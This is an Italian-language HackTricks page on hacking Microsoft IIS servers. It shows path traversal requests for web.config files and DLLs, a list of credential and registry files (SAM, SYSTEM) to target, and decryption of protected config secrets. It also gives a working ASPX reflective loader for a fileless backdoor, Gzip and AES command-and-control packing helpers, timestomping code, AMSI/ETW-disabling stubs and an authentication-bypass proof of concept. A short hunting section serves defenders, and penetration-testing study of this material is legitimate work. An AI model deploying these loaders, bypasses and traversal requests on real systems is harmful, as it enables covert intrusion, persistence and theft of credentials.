IIS - Internet Information Services

Reading time: 15 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Estensioni di file eseguibili di test:

  • asp
  • aspx
  • config
  • php

Divulgazione dell'indirizzo IP interno

Su qualsiasi server IIS in cui ricevi un 302 puoi provare a rimuovere l'Host header e usare HTTP/1.0; nella risposta l'Location header potrebbe puntare all'indirizzo IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Risposta che rivela l'indirizzo IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Eseguire file .config

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Scarica la lista che ho creato:

È stata creata unendo i contenuti delle seguenti liste:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Usala senza aggiungere estensioni, i file che ne hanno bisogno le hanno giĂ .

Path Traversal

Leaking source code

Leggi il writeup completo su: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

In sintesi, ci sono diversi file web.config nelle cartelle dell'applicazione con riferimenti a file assemblyIdentity e namespaces. Con queste informazioni è possibile sapere dove sono collocati gli eseguibili e scaricarli.
Dai Dlls scaricati è anche possibile trovare nuovi namespaces dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.
Inoltre, i file connectionstrings.config e global.asax possono contenere informazioni interessanti.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through "assemblyIdentity" XML tags.

Esplorazione dei file binari

Un esempio di accesso al file web.config è mostrato di seguito:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Questa richiesta rivela varie impostazioni e dipendenze, come:

  • EntityFramework versione
  • AppSettings per webpages, client validation e JavaScript
  • System.web configurazioni per autenticazione e runtime
  • System.webServer impostazioni dei modules
  • Runtime assembly bindings per numerose librerie come Microsoft.Owin, Newtonsoft.Json e System.Web.Mvc

Queste impostazioni indicano che alcuni file, come /bin/WebGrease.dll, si trovano nella cartella /bin dell'applicazione.

File nella directory root

I file presenti nella directory root, come /global.asax e /connectionstrings.config (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell'applicazione.

Namespaces e Web.Config

Le applicazioni MVC definiscono anche ulteriori web.config files per namespace specifici, per evitare dichiarazioni ripetitive in ogni file, come dimostrato da una richiesta per scaricare un altro web.config:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Scaricamento DLLs

La menzione di un custom namespace suggerisce la presenza di una DLL chiamata "WebApplication1" nella directory /bin. Di seguito è mostrata una richiesta per scaricare la WebApplication1.dll:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Questo suggerisce la presenza di altre DLL essenziali, come System.Web.Mvc.dll e System.Web.Optimization.dll, nella directory /bin.

In uno scenario in cui una DLL importa un namespace chiamato WebApplication1.Areas.Minded, an attacker potrebbe dedurre l'esistenza di altri file web.config in percorsi prevedibili, come /area-name/Views/, contenenti configurazioni specifiche e riferimenti ad altre DLL nella cartella /bin. Per esempio, una richiesta a /Minded/Views/web.config può rivelare configurazioni e namespace che indicano la presenza di un'altra DLL, WebApplication1.AdditionalFeatures.dll.

File comuni

Da qui

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

Significa che il server non ha ricevuto il nome di dominio corretto all'interno dell'Host header.
Per accedere alla pagina web puoi controllare il SSL Certificate servito e magari trovare lÏ il nome di dominio/sottodominio. Se non è presente, potresti dover brute force VHosts finchÊ non trovi quello corretto.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Due schemi comuni per proteggere i segreti nelle app .NET ospitate su IIS sono:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) per le sezioni di web.config come .
  • ASP.NET Core Data Protection key ring (persistente localmente) usato per proteggere i segreti dell'applicazione e i cookie.

Se hai accesso al filesystem o accesso interattivo sul web server, le chiavi collocate sullo stesso host spesso permettono la decrittazione.

  • ASP.NET (Full Framework) – decriptare le sezioni di config protette con aspnet_regiis:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – cercare Data Protection key rings memorizzati localmente (file XML/JSON) in posizioni come:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Con il key ring disponibile, un operatore che esegue con l’identità dell’app può istanziare un IDataProtector con gli stessi purposes e usare unprotect sui segreti memorizzati. Le misconfigurazioni che memorizzano il key ring insieme ai file dell’app rendono la decrittazione offline banale una volta compromesso l’host.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Il toolkit Phantom Taurus/NET-STAR mostra un pattern maturo per fileless IIS persistence e post‑exploitation interamente dentro w3wp.exe. Le idee principali sono ampiamente riutilizzabili per tradecraft personalizzato e per detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: una singola pagina .aspx (es. OutlookEN.aspx) contiene una .NET DLL codificata in Base64 e opzionalmente compressa con Gzip. Su una request trigger la decodifica, la decomprime e la carica reflectively nell’AppDomain corrente e invoca il punto d’ingresso principale (es. ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results sono incapsulati con Gzip → AES‑ECB/PKCS7 → Base64 e trasferiti via richieste apparentemente legittime con molti cookie; gli operatori usavano delimitatori stabili (es. "STAR") per il chunking.
  • Reflective .NET execution: accetta assembly managed arbitrari come Base64, carica tramite Assembly.Load(byte[]) e passa operator args per rapidi module swaps senza toccare il disco.
  • Operating in precompiled ASP.NET sites: aggiungere/gestire shell/backdoor ausiliarie anche quando il sito è precompilato (es. il dropper aggiunge pagine/handler dinamici o sfrutta config handlers) – esposto da comandi come bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: espone un’azione changeLastModified e timestomp al deployment (inclusi future compilation timestamps) per ostacolare DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: un loader di seconda fase può disabilitare AMSI e ETW prima di chiamare Assembly.Load per ridurre l’ispezione dei payloads in‑memory.

Minimal ASPX loader pattern

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Helper di packing/crypto (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow and command surface

  • Il bootstrap della sessione e il tasking vengono veicolati tramite cookies per confondersi con l'attivitĂ  web normale.
  • I comandi osservati nel mondo reale includevano: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; e primitive di esecuzione dinamica code_self, code_pid, run_code per l'esecuzione .NET in memoria.

Timestomping utility

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Disabilitazione inline di AMSI/ETW prima di Assembly.Load (variante loader)

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Vedi AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Note di hunting (difensori)

  • Singola pagina ASPX anomala con blob Base64/Gzip molto lunghi; richieste POST con molti cookie.
  • Managed modules non supportati dentro w3wp.exe; stringhe come Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Delimitatori ripetuti come "STAR" nel traffico; timestamp non corrispondenti o addirittura futuri su ASPX/assemblies.

Vecchie vulnerabilitĂ  IIS da cercare

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Puoi provare a enumerate folders and files all'interno di ogni cartella scoperta (anche se richiede Basic Authentication) usando questa technique.
La principale limitazione di questa tecnica, se il server è vulnerabile, è che può trovare solo le prime 6 lettere del nome di ogni file/cartella e le prime 3 lettere dell'estensione dei file.

Puoi usare https://github.com/irsdl/IIS-ShortName-Scanner per testare questa vulnerabilitĂ :java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Puoi anche usare metasploit: use scanner/http/iis_shortname_scanner

Una buona idea per trovare il nome finale dei file scoperti è chiedere a LLMs opzioni come fatto nello script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Bypass Basic Authentication

Bypass una basic authentication (IIS 7.5) tentando di accedere: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

Puoi provare a combinare questa vulnerabilitĂ  con l'ultima per trovare nuove cartelle e bypassare l'autenticazione.

Debugging ASP.NET Trace.AXD abilitato

ASP.NET include una modalitĂ  di debugging e il suo file si chiama trace.axd.

Registra un log molto dettagliato di tutte le richieste effettuate a un'applicazione in un periodo di tempo.

Queste informazioni includono IP remoti dei client, session ID, tutti i cookie di richiesta e risposta, percorsi fisici, informazioni sul codice sorgente e potenzialmente anche username e password.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH usa le seguenti informazioni:

  • validationKey (string): chiave codificata in hex da usare per la validazione della firma.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): vettore di inizializzazione codificato in hex (di default un vettore di zeri).
  • decryptionKey (string): chiave codificata in hex da usare per la decrittazione.

Tuttavia, alcune persone useranno i valori di default di questi parametri e useranno come cookie l'email dell'utente. Pertanto, se trovi un sito che usa la stessa piattaforma che utilizza il cookie ASPXAUTH e crei un utente con l'email dell'utente che vuoi impersonare sul server sotto attacco, potresti riuscire a usare il cookie dal secondo server nel primo e impersonare l'utente.
Questo attacco ha funzionato in questo writeup.

Bypass dell'autenticazione IIS con password in cache (CVE-2022-30209)

Full report here: Un bug nel codice non verificava correttamente la password fornita dall'utente, quindi un attaccante il cui hash della password corrisponde a una chiave giĂ  presente nella cache sarĂ  in grado di autenticarsi come quell'utente.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks